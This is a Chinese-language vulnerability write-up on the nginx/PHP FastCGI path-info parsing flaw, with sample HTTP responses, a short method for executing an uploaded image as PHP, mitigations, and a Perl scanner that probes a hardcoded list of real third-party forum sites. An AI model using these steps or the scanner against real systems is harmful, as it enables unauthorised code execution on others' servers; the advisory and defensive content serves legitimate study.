那么假设存在一个http://www.target.com/jpg.jpg，我们以如下的方式去访问
http://www.target.com/jpg.jpg/php.php
将会得到一个URL
/jpg.jpg/php.php

经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为
/scripts/jpg.jpg/php.php

而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为
/scripts/jpg.jpg

所以不存在此问题。

后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为
/scripts/jpg.jpg和php.php

最后，以/scripts/jpg.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。

一、漏洞利用

访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/php.php，这个时候你可以看到如下的区别：

访问http://www.target.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问http://www.target.com/robots.txt/php.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化，该站点就可能存在漏洞。

二、利用方法

在存在漏洞的服务器上传一个任意扩展名, 继而构造类似这样的访问求:xx.jpg/php.php，然后成功执行脚本

三、临时解决方案

关闭cgi.fix_pathinfo为0
或者

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

附：Nginx-scan漏洞扫描器代码

#!usr/bin/perl -w   
use LWP;   
use LWP::ConnCache;   
my $browser = LWP::UserAgent->new;   
$browser->timeout( 15 );   
my $conncache = LWP::ConnCache->new;    
$browser->conn_cache($conncache);   
#先用列表吧，没有用记事本保存列表再读再扫嘿嘿   
my @bbslist1;   
push @bbslist1,"http://bbs.xxx.com/robots.txt";   
push @bbslist1,"http://bbs.yyy.com/robots.txt" ;   
push @bbslist1,'http://bbs.pctutu.com/robots.txt';   
push @bbslist1,'http://bbs.yahoo.cn/robots.txt';   
#Server: nginx/0.8.13   
#Content-Type: text/html   
print "\t\tNginx漏洞扫描程序 By x13ky\@qq.com\n\n";   
foreach my $url (@bbslist1){   
print "目前正在扫描：$url\n";   
my $response= $browser->get( $url);    
$response->is_success or say("Failed to get '$url':\n", $response->status_line);   
my $servertype = $response->server;   
print "$servertype\n";   
if ($servertype=~/nginx/){   
   my $typeold=$response->content_type;   
   print "$typeold\n";   
   my $url2=$url.'/xysky.php';   
   my $response2 = $browser->get( $url2);    
   $response2->is_success or say("Failed to get '$url2':\n", $response->status_line);   
   my $typenew=$response2->content_type;   
   print "$typenew\n";   
   if ($typeold eq $typenew){   
    print "站点 $url 暂没有发现漏洞.\n\n";   
   }else{   
    print "站点 $url 存在该漏洞.\n\n";   
   }   
}else{   
print "站点不是nginx,Sorry!\n\n";   
}   
}

有人说，漏洞应该不是nginx的引起的,而是 php-fpm 因为：
1. 两种方案的修改都是针对fastcgi做的
2. 这个漏洞只提出针对Nginx+PHP CGI有效
3. 漏洞利用的最终后缀一定是.php，而不是输入任何后缀都被当作PHP执行